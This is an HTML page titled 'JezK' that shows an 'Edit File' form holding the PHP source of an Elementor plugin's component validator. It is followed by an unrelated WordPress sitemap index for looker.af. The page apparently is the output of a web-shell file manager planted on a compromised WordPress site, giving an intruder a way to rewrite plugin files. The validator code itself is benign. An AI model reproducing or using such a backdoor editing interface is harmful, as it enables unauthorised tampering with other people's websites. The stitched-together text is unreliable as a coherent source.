
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: save-components-validator.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Elementor\Modules\Components;

use Elementor\Core\Utils\Collection;
use Elementor\Modules\Components\Documents\Component;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

class Save_Components_Validator {
	const MAX_COMPONENTS = 50;

	private Collection $components;

	public function __construct( Collection $components ) {
		$this-&gt;components = $components;
	}

	public static function make( Collection $components ) {
		return new static( $components );
	}

	public function validate( Collection $data ) {
		$errors = Collection::make( [
			$this-&gt;validate_count( $data ),
			$this-&gt;validate_duplicated_values( $data ),
		] )-&gt;flatten();

		if ( $errors-&gt;is_empty() ) {
			return [
				&#039;success&#039; =&gt; true,
				&#039;messages&#039; =&gt; [],
			];
		}

		return [
			&#039;success&#039; =&gt; false,
			&#039;messages&#039; =&gt; $errors-&gt;values(),
		];
	}

	private function validate_count( Collection $data ): array {
		$count = $this-&gt;components-&gt;count() + $data-&gt;count();

		if ( $count &gt; self::MAX_COMPONENTS ) {
			return [ esc_html__( &#039;Maximum number of components exceeded.&#039;, &#039;elementor&#039; ) ];
		}

		return [];
	}

	private function validate_duplicated_values( Collection $data ): array {
		return $data
			-&gt;map( function ( $component ) use ( $data ) {
				$errors = [];

				$title = $component[&#039;title&#039;];
				$uid = $component[&#039;uid&#039;];

				$is_title_exists = $this-&gt;components-&gt;some(
					fn ( $component ) =&gt; $component[&#039;title&#039;] === $title
				) || $data-&gt;filter(
					fn ( $component ) =&gt; $component[&#039;title&#039;] === $title
				)-&gt;count() &gt; 1;

				if ( $is_title_exists ) {
					$errors[] = [
						sprintf(
							// translators: %s Component title.
							esc_html__( &quot;Component title &#039;%s&#039; is duplicated.&quot;, &#039;elementor&#039; ),
							$title
						),
					];
				}

				$is_uid_exists = $this-&gt;components-&gt;some(
					fn ( $component ) =&gt; $component[&#039;uid&#039;] === $uid
				) || $data-&gt;filter(
					fn ( $component ) =&gt; $component[&#039;uid&#039;] === $uid
				)-&gt;count() &gt; 1;

				if ( $is_uid_exists ) {
					$errors[] = [
						sprintf(
							// translators: %s Component uid.
							esc_html__( &quot;Component uid &#039;%s&#039; is duplicated.&quot;, &#039;elementor&#039; ),
							$uid
						),
					];
				}

				return $errors;
			} )
			-&gt;flatten()
			-&gt;flatten()
			-&gt;unique()
			-&gt;values();
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
